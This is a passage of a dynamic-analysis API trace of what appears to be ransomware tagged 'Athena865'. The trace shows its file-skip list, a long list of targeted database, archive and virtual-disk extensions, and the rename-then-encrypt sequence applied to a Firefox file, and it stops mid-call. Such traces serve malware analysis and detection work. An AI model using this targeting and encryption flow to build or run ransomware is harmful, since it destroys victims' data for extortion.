[0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".") returned 1 [0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="..") returned 1 [0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="windows") returned -1 [0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="bootmgr") returned 1 [0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="temp") returned -1 [0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="pagefile.sys") returned -1 [0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="boot") returned 1 [0095.613] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="ids.txt") returned -1 [0095.614] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="ntuser.dat") returned -1 [0095.614] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="perflogs") returned -1 [0095.614] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2="MSBuild") returned -1 [0095.614] lstrlenW (lpString="crashreporter-override.ini") returned 26 [0095.614] lstrcpyW (in: lpString1=0x241e8a6, lpString2="crashreporter-override.ini" | out: lpString1="crashreporter-override.ini") returned="crashreporter-override.ini" [0095.614] lstrlenW (lpString="crashreporter-override.ini") returned 26 [0095.614] lstrlenW (lpString="Athena865") returned 9 [0095.614] lstrcmpiW (lpString1="rride.ini", lpString2="Athena865") returned 1 [0095.614] lstrlenW (lpString=".dll") returned 4 [0095.614] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".dll") returned 1 [0095.614] lstrlenW (lpString=".lnk") returned 4 [0095.614] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".lnk") returned 1 [0095.614] lstrlenW (lpString=".ini") returned 4 [0095.614] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".ini") returned 1 [0095.614] lstrlenW (lpString=".sys") returned 4 [0095.614] lstrcmpiW (lpString1="crashreporter-override.ini", lpString2=".sys") returned 1 [0095.614] lstrlenW (lpString="crashreporter-override.ini") returned 26 [0095.614] lstrlenW (lpString="bak") returned 3 [0095.614] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0095.614] lstrlenW (lpString="ba_") returned 3 [0095.614] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0095.614] lstrlenW (lpString="dbb") returned 3 [0095.614] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0095.614] lstrlenW (lpString="vmdk") returned 4 [0095.614] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0095.614] lstrlenW (lpString="rar") returned 3 [0095.614] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0095.614] lstrlenW (lpString="zip") returned 3 [0095.614] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0095.615] lstrlenW (lpString="tgz") returned 3 [0095.615] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0095.615] lstrlenW (lpString="vbox") returned 4 [0095.615] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0095.615] lstrlenW (lpString="vdi") returned 3 [0095.615] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0095.615] lstrlenW (lpString="vhd") returned 3 [0095.615] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0095.615] lstrlenW (lpString="vhdx") returned 4 [0095.615] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0095.615] lstrlenW (lpString="avhd") returned 4 [0095.615] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0095.615] lstrlenW (lpString="db") returned 2 [0095.615] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0095.615] lstrlenW (lpString="db2") returned 3 [0095.615] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0095.615] lstrlenW (lpString="db3") returned 3 [0095.615] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0095.615] lstrlenW (lpString="dbf") returned 3 [0095.615] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0095.615] lstrlenW (lpString="mdf") returned 3 [0095.615] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0095.615] lstrlenW (lpString="mdb") returned 3 [0095.615] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0095.615] lstrlenW (lpString="sql") returned 3 [0095.615] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0095.615] lstrlenW (lpString="sqlite") returned 6 [0095.615] lstrcmpiW (lpString1="de.ini", lpString2="sqlite") returned -1 [0095.615] lstrlenW (lpString="sqlite3") returned 7 [0095.615] lstrcmpiW (lpString1="ide.ini", lpString2="sqlite3") returned -1 [0095.615] lstrlenW (lpString="sqlitedb") returned 8 [0095.616] lstrcmpiW (lpString1="ride.ini", lpString2="sqlitedb") returned -1 [0095.616] lstrlenW (lpString="xml") returned 3 [0095.616] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0095.616] lstrlenW (lpString="$er") returned 3 [0095.616] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0095.616] lstrlenW (lpString="4dd") returned 3 [0095.616] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0095.616] lstrlenW (lpString="4dl") returned 3 [0095.616] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0095.616] lstrlenW (lpString="^^^") returned 3 [0095.616] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0095.616] lstrlenW (lpString="abs") returned 3 [0095.616] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0095.616] lstrlenW (lpString="abx") returned 3 [0095.616] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0095.616] lstrlenW (lpString="accdb") returned 5 [0095.616] lstrcmpiW (lpString1="e.ini", lpString2="accdb") returned 1 [0095.616] lstrlenW (lpString="accdc") returned 5 [0095.616] lstrcmpiW (lpString1="e.ini", lpString2="accdc") returned 1 [0095.616] lstrlenW (lpString="accde") returned 5 [0095.616] lstrcmpiW (lpString1="e.ini", lpString2="accde") returned 1 [0095.616] lstrlenW (lpString="accdr") returned 5 [0095.616] lstrcmpiW (lpString1="e.ini", lpString2="accdr") returned 1 [0095.616] lstrlenW (lpString="accdt") returned 5 [0095.616] lstrcmpiW (lpString1="e.ini", lpString2="accdt") returned 1 [0095.616] lstrlenW (lpString="accdw") returned 5 [0095.616] lstrcmpiW (lpString1="e.ini", lpString2="accdw") returned 1 [0095.616] lstrlenW (lpString="accft") returned 5 [0095.616] lstrcmpiW (lpString1="e.ini", lpString2="accft") returned 1 [0095.617] lstrlenW (lpString="adb") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0095.617] lstrlenW (lpString="adb") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0095.617] lstrlenW (lpString="ade") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0095.617] lstrlenW (lpString="adf") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0095.617] lstrlenW (lpString="adn") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0095.617] lstrlenW (lpString="adp") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0095.617] lstrlenW (lpString="alf") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0095.617] lstrlenW (lpString="ask") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0095.617] lstrlenW (lpString="btr") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0095.617] lstrlenW (lpString="cat") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0095.617] lstrlenW (lpString="cdb") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0095.617] lstrlenW (lpString="ckp") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0095.617] lstrlenW (lpString="cma") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0095.617] lstrlenW (lpString="cpd") returned 3 [0095.617] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0095.617] lstrlenW (lpString="dacpac") returned 6 [0095.617] lstrcmpiW (lpString1="de.ini", lpString2="dacpac") returned 1 [0095.618] lstrlenW (lpString="dad") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0095.618] lstrlenW (lpString="dadiagrams") returned 10 [0095.618] lstrcmpiW (lpString1="erride.ini", lpString2="dadiagrams") returned 1 [0095.618] lstrlenW (lpString="daschema") returned 8 [0095.618] lstrcmpiW (lpString1="ride.ini", lpString2="daschema") returned 1 [0095.618] lstrlenW (lpString="db-journal") returned 10 [0095.618] lstrcmpiW (lpString1="erride.ini", lpString2="db-journal") returned 1 [0095.618] lstrlenW (lpString="db-shm") returned 6 [0095.618] lstrcmpiW (lpString1="de.ini", lpString2="db-shm") returned 1 [0095.618] lstrlenW (lpString="db-wal") returned 6 [0095.618] lstrcmpiW (lpString1="de.ini", lpString2="db-wal") returned 1 [0095.618] lstrlenW (lpString="dbc") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0095.618] lstrlenW (lpString="dbs") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0095.618] lstrlenW (lpString="dbt") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0095.618] lstrlenW (lpString="dbv") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0095.618] lstrlenW (lpString="dbx") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0095.618] lstrlenW (lpString="dcb") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0095.618] lstrlenW (lpString="dct") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0095.618] lstrlenW (lpString="dcx") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0095.618] lstrlenW (lpString="ddl") returned 3 [0095.618] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0095.619] lstrlenW (lpString="dlis") returned 4 [0095.619] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0095.619] lstrlenW (lpString="dp1") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0095.619] lstrlenW (lpString="dqy") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0095.619] lstrlenW (lpString="dsk") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0095.619] lstrlenW (lpString="dsn") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0095.619] lstrlenW (lpString="dtsx") returned 4 [0095.619] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0095.619] lstrlenW (lpString="dxl") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0095.619] lstrlenW (lpString="eco") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0095.619] lstrlenW (lpString="ecx") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0095.619] lstrlenW (lpString="edb") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0095.619] lstrlenW (lpString="epim") returned 4 [0095.619] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0095.619] lstrlenW (lpString="fcd") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0095.619] lstrlenW (lpString="fdb") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0095.619] lstrlenW (lpString="fic") returned 3 [0095.619] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0095.619] lstrlenW (lpString="flexolibrary") returned 12 [0095.619] lstrcmpiW (lpString1="override.ini", lpString2="flexolibrary") returned 1 [0095.620] lstrlenW (lpString="fm5") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0095.620] lstrlenW (lpString="fmp") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0095.620] lstrlenW (lpString="fmp12") returned 5 [0095.620] lstrcmpiW (lpString1="e.ini", lpString2="fmp12") returned -1 [0095.620] lstrlenW (lpString="fmpsl") returned 5 [0095.620] lstrcmpiW (lpString1="e.ini", lpString2="fmpsl") returned -1 [0095.620] lstrlenW (lpString="fol") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0095.620] lstrlenW (lpString="fp3") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0095.620] lstrlenW (lpString="fp4") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0095.620] lstrlenW (lpString="fp5") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0095.620] lstrlenW (lpString="fp7") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0095.620] lstrlenW (lpString="fpt") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0095.620] lstrlenW (lpString="frm") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0095.620] lstrlenW (lpString="gdb") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0095.620] lstrlenW (lpString="gdb") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0095.620] lstrlenW (lpString="grdb") returned 4 [0095.620] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0095.620] lstrlenW (lpString="gwi") returned 3 [0095.620] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0095.620] lstrlenW (lpString="hdb") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0095.621] lstrlenW (lpString="his") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0095.621] lstrlenW (lpString="ib") returned 2 [0095.621] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0095.621] lstrlenW (lpString="idb") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0095.621] lstrlenW (lpString="ihx") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0095.621] lstrlenW (lpString="itdb") returned 4 [0095.621] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0095.621] lstrlenW (lpString="itw") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0095.621] lstrlenW (lpString="jet") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0095.621] lstrlenW (lpString="jtx") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0095.621] lstrlenW (lpString="kdb") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0095.621] lstrlenW (lpString="kexi") returned 4 [0095.621] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0095.621] lstrlenW (lpString="kexic") returned 5 [0095.621] lstrcmpiW (lpString1="e.ini", lpString2="kexic") returned -1 [0095.621] lstrlenW (lpString="kexis") returned 5 [0095.621] lstrcmpiW (lpString1="e.ini", lpString2="kexis") returned -1 [0095.621] lstrlenW (lpString="lgc") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0095.621] lstrlenW (lpString="lwx") returned 3 [0095.621] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0095.621] lstrlenW (lpString="maf") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0095.622] lstrlenW (lpString="maq") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0095.622] lstrlenW (lpString="mar") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0095.622] lstrlenW (lpString="marshal") returned 7 [0095.622] lstrcmpiW (lpString1="ide.ini", lpString2="marshal") returned -1 [0095.622] lstrlenW (lpString="mas") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0095.622] lstrlenW (lpString="mav") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0095.622] lstrlenW (lpString="maw") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0095.622] lstrlenW (lpString="mdbhtml") returned 7 [0095.622] lstrcmpiW (lpString1="ide.ini", lpString2="mdbhtml") returned -1 [0095.622] lstrlenW (lpString="mdn") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0095.622] lstrlenW (lpString="mdt") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0095.622] lstrlenW (lpString="mfd") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0095.622] lstrlenW (lpString="mpd") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0095.622] lstrlenW (lpString="mrg") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0095.622] lstrlenW (lpString="mud") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0095.622] lstrlenW (lpString="mwb") returned 3 [0095.622] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0095.622] lstrlenW (lpString="myd") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0095.623] lstrlenW (lpString="ndf") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0095.623] lstrlenW (lpString="nnt") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0095.623] lstrlenW (lpString="nrmlib") returned 6 [0095.623] lstrcmpiW (lpString1="de.ini", lpString2="nrmlib") returned -1 [0095.623] lstrlenW (lpString="ns2") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0095.623] lstrlenW (lpString="ns3") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0095.623] lstrlenW (lpString="ns4") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0095.623] lstrlenW (lpString="nsf") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0095.623] lstrlenW (lpString="nv") returned 2 [0095.623] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0095.623] lstrlenW (lpString="nv2") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0095.623] lstrlenW (lpString="nwdb") returned 4 [0095.623] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0095.623] lstrlenW (lpString="nyf") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0095.623] lstrlenW (lpString="odb") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0095.623] lstrlenW (lpString="odb") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0095.623] lstrlenW (lpString="oqy") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0095.623] lstrlenW (lpString="ora") returned 3 [0095.623] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0095.624] lstrlenW (lpString="orx") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0095.624] lstrlenW (lpString="owc") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0095.624] lstrlenW (lpString="p96") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0095.624] lstrlenW (lpString="p97") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0095.624] lstrlenW (lpString="pan") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0095.624] lstrlenW (lpString="pdb") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0095.624] lstrlenW (lpString="pdm") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0095.624] lstrlenW (lpString="pnz") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0095.624] lstrlenW (lpString="qry") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0095.624] lstrlenW (lpString="qvd") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0095.624] lstrlenW (lpString="rbf") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0095.624] lstrlenW (lpString="rctd") returned 4 [0095.624] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0095.624] lstrlenW (lpString="rod") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0095.624] lstrlenW (lpString="rodx") returned 4 [0095.624] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0095.624] lstrlenW (lpString="rpd") returned 3 [0095.624] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0095.624] lstrlenW (lpString="rsd") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0095.625] lstrlenW (lpString="sas7bdat") returned 8 [0095.625] lstrcmpiW (lpString1="ride.ini", lpString2="sas7bdat") returned -1 [0095.625] lstrlenW (lpString="sbf") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0095.625] lstrlenW (lpString="scx") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0095.625] lstrlenW (lpString="sdb") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0095.625] lstrlenW (lpString="sdc") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0095.625] lstrlenW (lpString="sdf") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0095.625] lstrlenW (lpString="sis") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0095.625] lstrlenW (lpString="spq") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0095.625] lstrlenW (lpString="te") returned 2 [0095.625] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0095.625] lstrlenW (lpString="teacher") returned 7 [0095.625] lstrcmpiW (lpString1="ide.ini", lpString2="teacher") returned -1 [0095.625] lstrlenW (lpString="tmd") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0095.625] lstrlenW (lpString="tps") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0095.625] lstrlenW (lpString="trc") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0095.625] lstrlenW (lpString="trc") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0095.625] lstrlenW (lpString="trm") returned 3 [0095.625] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0095.625] lstrlenW (lpString="udb") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0095.626] lstrlenW (lpString="udl") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0095.626] lstrlenW (lpString="usr") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0095.626] lstrlenW (lpString="v12") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0095.626] lstrlenW (lpString="vis") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0095.626] lstrlenW (lpString="vpd") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0095.626] lstrlenW (lpString="vvv") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0095.626] lstrlenW (lpString="wdb") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0095.626] lstrlenW (lpString="wmdb") returned 4 [0095.626] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0095.626] lstrlenW (lpString="wrk") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0095.626] lstrlenW (lpString="xdb") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0095.626] lstrlenW (lpString="xld") returned 3 [0095.626] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0095.626] lstrlenW (lpString="xmlff") returned 5 [0095.626] lstrcmpiW (lpString1="e.ini", lpString2="xmlff") returned -1 [0095.626] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini.Athena865") returned 83 [0095.626] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\crashreporter-override.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\crashreporter-override.ini.athena865"), dwFlags=0x1) returned 1 [0095.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\crashreporter-override.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0095.632] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=783) returned 1 [0095.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.633] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.634] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.634] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.634] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x610, lpName=0x0) returned 0x17c [0095.653] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x610) returned 0x100000 [0095.654] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.654] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.654] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.655] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.655] CloseHandle (hObject=0x17c) returned 1 [0095.655] CloseHandle (hObject=0x154) returned 1 [0095.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: 